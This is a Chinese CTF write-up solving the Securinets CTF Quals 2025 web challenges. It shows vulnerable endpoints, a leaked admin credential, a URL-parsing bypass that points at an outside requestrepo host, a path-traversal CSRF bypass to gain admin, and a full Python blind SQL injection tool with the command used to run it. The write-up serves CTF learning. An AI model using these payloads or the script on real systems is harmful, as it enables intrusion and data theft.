深入解析:securinets ctf quals 2025 web all
Puzzle
我们似乎可以注册更高权限的账号
@app.route('/confirm-register', methods=['POST'])
def confirm_register():
# 获取注册表单信息
username = request.form['username']
email = request.form.get('email', '')
# 生成随机密码
alphabet = string.ascii_letters + string.digits + '!@#$%^&*'
password = ''.join(secrets.choice(alphabet) for _ in range(12))
# 获取角色,默认为2(普通用户)
role = request.form.get('role', '2')
# 角色映射表
role_map = {
'1': 'editor',
'2': 'user',
}
# 禁止注册管理员账号
if role == '0':
return jsonify({'error': 'Admin registration is not allowed.'}), 403
# 检查角色是否合法
if role not in role_map:
return jsonify({'error': 'Invalid role id.'}), 400
# 生成用户唯一ID
uid = str(uuid4())
可以看别的用户的密码
@app.route('/users/<string:target_uuid>')
def get_user_details(target_uuid):
# 获取用户详细信息(仅管理员和编辑可用)
current_uuid = session.get('uuid')
if not current_uuid:
return jsonify({'error': 'Unauthorized'}), 401
current_user = get_user_by_uuid(current_uuid)
if not current_user or current_user['role'] not in ('0', '1'):
return jsonify({'error': 'Invalid user role'}), 403
with sqlite3.connect(DB_FILE) as conn:
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("""
SELECT uuid, username, email, phone_number, role, password
FROM users
WHERE uuid = ?
""", (target_uuid,))
user = c.fetchone()
if not user:
return jsonify({'error': 'User not found'}), 404
return jsonify({
'uuid': user['uuid'],
'username': user['username'],
'email': user['email'],
'phone_number': user['phone_number'],
'role': user['role'],
'password': user['password']
})
任何登录的人都能强行解释请求协作
@app.route('/collab/accept/<string:request_uuid>', methods=['POST'])
def accept_collaboration(request_uuid):
# 接受协作请求
if not session.get('uuid'):
return jsonify({'error': 'Unauthorized'}), 401
user = get_user_by_uuid(session['uuid'])
if not user:
return redirect('/login')
if user['role'] == '0':
return jsonify({'error': 'Admins cannot collaborate'}), 403
try:
with sqlite3.connect(DB_FILE) as conn:
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT * FROM collab_requests WHERE uuid = ?", (request_uuid,))
request = c.fetchone()
if not request:
return jsonify({'error': 'Request not found'}), 404
# 协作文章入库
c.execute("""
INSERT INTO articles (uuid, title, content, author_uuid, collaborator_uuid)
VALUES (?, ?, ?, ?, ?)
""", (request['article_uuid'], request['title'], request['content'],
request['from_uuid'], request['to_uuid']))
c.execute("UPDATE collab_requests SET status = 'accepted' WHERE uuid = ?", (request_uuid,))
conn.commit()
return jsonify({'message': 'Collaboration accepted'})
except Exception as e:
return jsonify({'error': str(e)}), 500
request_uuid会被渲染到前端
<small class="text-muted">Requested by {{ request.requester_name }}</small>
<div>
<span class="d-none">{{ request.uuid }}</span>
<button class="btn btn-success btn-sm" onclick="acceptCollaboration('{{ request.uuid }}')">Accept</button>
</div>
主页卡片里渲染了文章作者与协作者的用户 UUID!
<div class="card-footer">
<a href="/article/{{ article.uuid }}" class="read-more-btn">
<span>Read Article</span>
<i class="fas fa-arrow-right ms-2"></i>
</a>
<div class="article-actions">
<button class="action-btn" title="Share">
<i class="fas fa-share-alt"></i>
</button>
<button class="action-btn" title="Bookmark">
<i class="fas fa-bookmark"></i>
</button>
</div>
</div>
<!-- Hidden UUIDs for functionality -->
<span class="d-none author-uuid">{{ article.author_uuid }}</span>
{% if article.collaborator_uuid %}
<span class="d-none collaborator-uuid">{{ article.collaborator_uuid }}</span>
{% endif %}
获得admin密码
{"email":"admin@securinets.tn","password":"Adm1nooooX333!123!!%","phone_number":"77777777","role":"0","username":"admin","uuid":"9075229d-9bcd-4f8b-9fb0-a484cb3bf914"}
然后/data里有个压缩包,密码在exe里
QEF
S3cret5
这里有sql个注入后端数据库 PostgreSQL 16
// 对输入进行简单的字符过滤,只允许字母、数字、空格、下划线和短横线
function sanitizeInput(input) {
return input.replace(/[^a-zA-Z0-9 _-]/g, '');
}
// 检查字段名是否在允许的字段列表中
function isValidFilterField(field, allowedFields) {
return allowedFields.includes(field);
}
// 构造SQL的WHERE子句和参数数组,用于过滤查询
function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
if (!filterBy || !keyword) {
// 如果没有过滤字段或关键字,则不添加过滤条件
return { clause: "", params: [] };
}
// 构造WHERE子句,使用参数化查询防止SQL注入
const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
const params = [`%${keyword}%`];
return { clause, params };
}
// 导出辅助函数
module.exports = { filterBy, sanitizeInput, isValidFilterField };
// 创建flags表(如果不存在)
await pool.query(`
CREATE TABLE IF NOT EXISTS flags (
id SERIAL PRIMARY KEY,
flag TEXT NOT NULL
)
`);
盲注应该是可以,但是只有管理能用
有个addadmin,但是怎么绕过CSRFtoken呢?
POST http://localhost:3000/admin/addAdmin HTTP/1.1
Host: localhost:3000
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: _BEAMER_USER_ID_TCocQlcK73424=07fa8af0-e1fb-47d6-b3ed-2d9dd118d7a4; _csrf=AltGW0XbdXTdLRGYTtfTfoqg; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5NjI5ODM3LCJleHAiOjE3NTk2MzM0Mzd9.R_zg-y4YeaJv78fawdjioLMqix4buqNQNebn0mfUow8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1
2
HTTP/1.1 403 Forbidden
Connection: close
Content-Length: 78
Content-Type: text/html; charset=utf-8
Date: Sun, 05 Oct 2025 02:38:23 GMT
Etag: W/"4e-3/yT+2wrX2l0t6Lpflr3Ph+2Flw"
X-Powered-By: Express
403 - Invalid CSRF Token
Please refresh the page and try again.
report这里可以用解析差异绕
if (!url || !url.startsWith("http://localhost:3000")) {
return res.status(400).send("Invalid URL");
}
http://localhost:3000@mojqlab5.requestrepo.com
这里的profileId是可控的,我们甚至可以发到别的地方,但是有什么用呢?
http://localhost:3000/user/profile/?id=1&id=../
// 解析URL参数,获取profileId
const urlParams = new URLSearchParams(window.location.search);
const profileIds = urlParams.getAll("id");
const profileId = profileIds[profileIds.length - 1];
// 访问日志记录
fetch("/log/"+profileId, {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: "<%= user.id %>", // 当前用户ID
action: "Visited user profile with id=" + profileId, // 访问行为描述
_csrf: csrfToken // CSRF令牌
})
})
发现可以提升admin,不用解析差异了
http://localhost:3000/user/profile/?id=1&id=../admin/addAdmin
POST http://localhost:3000/admin/addAdmin HTTP/1.1
Host: localhost:3000
Content-Length: 135
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/user/profile/?id=1&id=../admin/addAdmin
Accept-Encoding: gzip, deflate, br
Cookie: _BEAMER_USER_ID_TCocQlcK73424=07fa8af0-e1fb-47d6-b3ed-2d9dd118d7a4; _csrf=AltGW0XbdXTdLRGYTtfTfoqg; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5NjM1MDIxLCJleHAiOjE3NTk2Mzg2MjF9.56SC63bhzxIXks5YeE8EVZKlS-FE-Oqg78ooznqdYp4
Connection: keep-alive
{"userId":"1","action":"Visited user profile with id=../admin/addAdmin","_csrf":"4xfGl6kC-qc1p9FwsWtlw0i7vonTu7YyBSzHR1qm6IkFVdYqO-Jc"}
HTTP/1.1 200 OK
Connection: close
Content-Length: 117
Content-Type: application/json; charset=utf-8
Date: Sun, 05 Oct 2025 03:38:42 GMT
Etag: W/"75-uz7/tpwY7WoLoSMa8SDGN8XtYlc"
X-Powered-By: Express
{"message":"Role updated","user":{"id":1,"username":"admin1","description":"Admin account with ID 1","role":"admin"}}
现在获得admin之后怎么盲注获得flag?
SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
FROM msgs
INNER JOIN users ON msgs.userId = users.id
WHERE msgs."msg" = msgs."msg" and $1=$1 and EXISTS (select flag from flags where flag like '{}')--"LIKE $1
ORDER BY msgs.createdAt DESC
msg" = msgs."msg" and $1=$1 and EXISTS (select flag from flags where flag like '{}')--
好了
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
基于管理员会话对 /admin/msgs 的列名注入进行布尔盲注,提取 PostgreSQL flags 表中的 flag。
工作流程:
1) 使用提供的管理员用户名/密码登录,获取会话 cookie(token)。
2) 每次请求前从 /csrf-token 获取新的 CSRF Token,通过 header 发送(x-csrf-token)。
3) 构造注入:在 filterBy 中闭合列名引号,加入布尔表达式,并用 -- 注释掉后续片段。
例如:filterBy = 'msg" = msgs."msg" AND (条件) --'
最终 SQL 近似:WHERE msgs."msg" = msgs."msg" AND (条件) --" LIKE $1
条件为真 → 返回有数据行;条件为假 → 返回 0 行。通过解析 HTML 中 <tbody> 的 <tr> 数量判断真假。
注意:
- 该脚本默认目标为 http://localhost:3000,可通过 --base 修改。
- 登录接口:POST /auth/login 期望 JSON {username, password}。
- 注入接口:POST /admin/msgs 接受 JSON {filterBy, keyword},需 CSRF 头。
"""
import argparse
import sys
import re
import time
import uuid
from typing import Optional
import requests
class AdminBlindInjector:
def __init__(self, base_url: str, username: str, password: str, timeout: float = 10.0, delay: float = 0.0, verbose: bool = True):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.timeout = timeout
self.delay = delay # 每次探测后的可选延时(秒)
self.session = requests.Session()
self._csrf_cached: Optional[str] = None # 复用 CSRF 令牌(403 时刷新)
self.seed_keyword: Optional[str] = None # 用于 LIKE 过滤的唯一关键字,减少返回行数
self.verbose = verbose
# 统计信息
self.stats = {
"csrf_fetches": 0,
"csrf_refreshes": 0,
"admin_posts": 0,
"admin_posts_403": 0,
"probes": 0,
"probe_total_ms": 0.0,
"message_posts": 0,
"login_attempts": 0,
}
def _vprint(self, msg: str) -> None:
if self.verbose:
print(msg)
def _get_csrf_token(self, force_refresh: bool = False) -> str:
"""从 /csrf-token 获取 CSRF Token;默认复用缓存,必要时刷新。"""
if self._csrf_cached and not force_refresh:
self._vprint("[v] 使用缓存 CSRF Token")
return self._csrf_cached
url = f"{self.base_url}/csrf-token"
resp = self.session.get(url, timeout=self.timeout)
resp.raise_for_status()
data = resp.json()
token = data.get("csrfToken")
if not token:
raise RuntimeError("未获取到 CSRF Token")
self._csrf_cached = token
if force_refresh:
self.stats["csrf_refreshes"] += 1
self._vprint("[v] 刷新 CSRF Token 成功")
else:
self.stats["csrf_fetches"] += 1
self._vprint("[v] 获取 CSRF Token 成功")
return token
def login(self) -> None:
"""使用管理员凭据登录,获取 token Cookie。"""
url = f"{self.base_url}/auth/login"
csrf_token = self._get_csrf_token()
payload = {"username": self.username, "password": self.password}
headers = {
"Content-Type": "application/json",
"Accept": "application/json",
"x-csrf-token": csrf_token,
}
self.stats["login_attempts"] += 1
self._vprint("[v] 正在登录管理端……")
resp = self.session.post(url, json=payload, headers=headers, timeout=self.timeout)
if resp.status_code != 200:
raise RuntimeError(f"登录失败,HTTP {resp.status_code}: {resp.text[:200]}")
try:
data = resp.json()
except Exception:
raise RuntimeError(f"登录响应非 JSON: {resp.text[:200]}")
if data.get("message") != "Login successful":
raise RuntimeError(f"登录失败:{data}")
self._vprint("[v] 登录成功,已获取会话 Cookie")
def create_message(self, text: str, msg_type: str = "general") -> None:
"""创建一条消息,确保 LIKE 仅命中极少行以加速解析。"""
url = f"{self.base_url}/msg"
csrf_token = self._get_csrf_token()
headers = {
"Content-Type": "application/json",
"Accept": "application/json",
"x-csrf-token": csrf_token,
}
payload = {"msg": text, "type": msg_type}
self.stats["message_posts"] += 1
self._vprint(f"[v] 创建消息用于筛选:{text}")
resp = self.session.post(url, json=payload, headers=headers, timeout=self.timeout)
if resp.status_code == 403:
# token 失效则刷新一次
headers["x-csrf-token"] = self._get_csrf_token(force_refresh=True)
resp = self.session.post(url, json=payload, headers=headers, timeout=self.timeout)
self._vprint("[v] 收到 403,已刷新 CSRF 并重试提交消息")
if resp.status_code != 200:
raise RuntimeError(f"创建消息失败,HTTP {resp.status_code}: {resp.text[:200]}")
try:
data = resp.json()
except Exception:
raise RuntimeError(f"创建消息响应非 JSON: {resp.text[:200]}")
if data.get("message") != "Msg submitted":
raise RuntimeError(f"创建消息失败:{data}")
self._vprint("[v] 创建消息成功")
def ensure_seed(self, preferred_seed: Optional[str] = None) -> None:
"""确保存在唯一关键字的消息;设置 self.seed_keyword 用于后续 LIKE。"""
if self.seed_keyword:
self._vprint(f"[v] 复用已存在的种子关键字:{self.seed_keyword}")
return
seed = preferred_seed or f"seed-{uuid.uuid4().hex[:12]}"
self.create_message(seed)
self.seed_keyword = seed
self._vprint(f"[v] 设定种子关键字:{self.seed_keyword}")
def _post_admin_msgs(self, filter_by: str, keyword: Optional[str] = None) -> str:
"""对 /admin/msgs 发起 POST 请求并返回 HTML 文本。"""
csrf_token = self._get_csrf_token()
url = f"{self.base_url}/admin/msgs"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Origin": self.base_url,
"Referer": f"{self.base_url}/admin/msgs",
}
payload = {
"_csrf": csrf_token,
"filterBy": filter_by,
"keyword": (keyword if keyword is not None else (self.seed_keyword or "%")),
}
self.stats["admin_posts"] += 1
resp = self.session.post(url, data=payload, headers=headers, timeout=self.timeout)
if resp.status_code == 403:
# 刷新 CSRF 后重试一次
payload["_csrf"] = self._get_csrf_token(force_refresh=True)
self.stats["admin_posts_403"] += 1
self._vprint("[v] /admin/msgs 返回 403,刷新 CSRF 后重试……")
resp = self.session.post(url, data=payload, headers=headers, timeout=self.timeout)
if resp.status_code != 200:
raise RuntimeError(f"注入请求失败,HTTP {resp.status_code}: {resp.text[:200]}")
return resp.text
@staticmethod
def _has_rows(html_text: str) -> bool:
"""解析 admin-msgs.ejs 渲染后的 <tbody> 部分,判断是否存在至少一行 <tr>。"""
tbody_match = re.search(r"<tbody>([\s\S]*?)</tbody>", html_text, re.IGNORECASE)
if not tbody_match:
# 若模板变化导致匹配不到,则退化为检查是否出现任何数据行的粗略方法
return "<td>" in html_text
tbody = tbody_match.group(1)
return bool(re.search(r"<tr>", tbody, re.IGNORECASE))
def probe(self, condition_sql: str) -> bool:
"""
执行一次布尔探测:构造 filterBy 注入携带 condition_sql,返回 True/False。
condition_sql 需要是能在 AND ( ... ) 内独立成立的布尔表达式,例如:
EXISTS (SELECT 1 FROM flags WHERE ascii(substring(flag,1,1)) > 64)
"""
# 通过在列名注入中追加 AND "msg",让后续模板拼接的 'LIKE $1' 继续生效,
# 从而避免参数数量与占位符不匹配的问题;同时将 keyword 设为 '%',不影响布尔判断。
injected_filter = f"msg\" = msgs.\"msg\" AND ({condition_sql}) AND \"msg"
t0 = time.perf_counter()
html = self._post_admin_msgs(injected_filter)
elapsed_ms = (time.perf_counter() - t0) * 1000.0
result = self._has_rows(html)
self.stats["probes"] += 1
self.stats["probe_total_ms"] += elapsed_ms
self._vprint(f"[v] 探测 #{self.stats['probes']}: {condition_sql} -> {result} ({elapsed_ms:.1f} ms)")
if self.delay > 0:
time.sleep(self.delay)
return result
def find_flag_length(self, max_cap: int = 512) -> int:
"""先指数扩增上界,再二分搜索精确长度(length(flag))。"""
def has_len_ge(n: int) -> bool:
cond = f"EXISTS (SELECT 1 FROM flags WHERE length(flag) >= {n})"
ok = self.probe(cond)
self._vprint(f"[v] 长度判定:length(flag) >= {n} -> {ok}")
return ok
# 指数扩增找到上界
low, high = 0, 1
self._vprint("[v] 开始指数扩增上界以估计 flag 长度……")
while has_len_ge(high):
low = high
high *= 2
if high > max_cap:
high = max_cap
break
self._vprint(f"[v] 扩增上界:low={low}, high={high}")
# 二分锁定长度(寻找最大的 len 使得 len(flag) >= len)
self._vprint(f"[v] 二分锁定长度区间:初始 low={low}, high={high}")
while low < high:
mid = (low + high + 1) // 2
ok = has_len_ge(mid)
self._vprint(f"[v] 二分:mid={mid} -> {ok}")
if ok:
low = mid
else:
high = mid - 1
self._vprint(f"[v] 区间更新:low={low}, high={high}")
return low
def find_char_at(self, pos: int, low_ascii: int = 32, high_ascii: int = 126) -> Optional[str]:
"""对第 pos 位字符(1 起始)做 ASCII 二分搜索,返回字符;如失败返回 None。"""
lo, hi = low_ascii, high_ascii
# 先检查是否为空位(若 pos 超出长度,下面探测会不稳定,调用方应先通过长度控制)
# 二分:查找最大值 <= hi 的确切字符
self._vprint(f"[v] 提取第 {pos} 位字符:ASCII 范围初始 lo={lo}, hi={hi}")
while lo < hi:
mid = (lo + hi + 1) // 2
cond = f"EXISTS (SELECT 1 FROM flags WHERE ascii(substring(flag,{pos},1)) >= {mid})"
ok = self.probe(cond)
self._vprint(f"[v] 二分字符:mid={mid} -> {ok}")
if ok:
lo = mid
else:
hi = mid - 1
self._vprint(f"[v] 字符区间更新:lo={lo}, hi={hi}")
# 校验得到的 lo 是否匹配
confirm = f"EXISTS (SELECT 1 FROM flags WHERE ascii(substring(flag,{pos},1)) = {lo})"
if self.probe(confirm):
try:
ch = chr(lo)
self._vprint(f"[v] 第 {pos} 位确认成功:'{ch}' (ASCII {lo})")
return ch
except ValueError:
return None
return None
def extract_flag(self) -> str:
length = self.find_flag_length()
if length <= 0:
raise RuntimeError("未探测到 flag,长度为 0")
print(f"[+] flag 长度 = {length}")
chars = []
for i in range(1, length + 1):
ch = self.find_char_at(i)
if ch is None:
raise RuntimeError(f"第 {i} 位字符提取失败")
chars.append(ch)
sys.stdout.write(f"\r[+] 进度 {i}/{length}: {''.join(chars)}")
sys.stdout.flush()
print("")
return "".join(chars)
def main() -> None:
parser = argparse.ArgumentParser(description="Admin 布尔盲注提取 flags.flag")
parser.add_argument("-b", "--base", default="http://localhost:3000", help="目标站点基址,如 http://localhost:3000")
parser.add_argument("-u", "--username", required=True, help="管理员用户名")
parser.add_argument("-p", "--password", required=True, help="管理员密码")
parser.add_argument("--timeout", type=float, default=10.0, help="HTTP 超时时间(秒)")
parser.add_argument("--delay", type=float, default=0.0, help="每次探测后的延时(秒)")
parser.add_argument("--seed-key", default=None, help="用于 LIKE 的唯一关键字;默认为随机生成")
parser.add_argument("--quiet", action="store_true", help="静默模式,减少输出")
args = parser.parse_args()
injector = AdminBlindInjector(
base_url=args.base,
username=args.username,
password=args.password,
timeout=args.timeout,
delay=args.delay,
verbose=not args.quiet,
)
start_ts = time.perf_counter()
print("[*] 正在登录……")
injector.login()
print("[+] 登录成功")
# 创建唯一种子消息,确保 LIKE 仅命中极少行以减少响应体大小
print("[*] 正在创建种子消息以加速布尔判定……")
injector.ensure_seed(args.seed_key)
print(f"[+] 已设置种子关键字: {injector.seed_keyword}")
print("[*] 开始盲注提取 flag……")
flag = injector.extract_flag()
print(f"[+] flag = {flag}")
# 执行总结
total_ms = (time.perf_counter() - start_ts) * 1000.0
avg_probe = (injector.stats["probe_total_ms"] / injector.stats["probes"]) if injector.stats["probes"] else 0.0
print("[=] 执行统计:")
print(f" - 登录尝试: {injector.stats['login_attempts']}")
print(f" - CSRF 获取: {injector.stats['csrf_fetches']}, 刷新: {injector.stats['csrf_refreshes']}")
print(f" - 创建消息: {injector.stats['message_posts']}")
print(f" - 管理端请求: {injector.stats['admin_posts']} (403 重试: {injector.stats['admin_posts_403']})")
print(f" - 探测次数: {injector.stats['probes']},平均耗时: {avg_probe:.1f} ms/次")
print(f" - 总耗时: {total_ms:.1f} ms")
if __name__ == "__main__":
try:
main()
except Exception as e:
print(f"[-] 发生错误:{e}")
sys.exit(1)
python3 exploit_flag_blind.py -b http://web1-79e4a3bc.p1.securinets.tn/ -u A5rZ -p A5rZ
QEF
浙公网安备 33010602011771号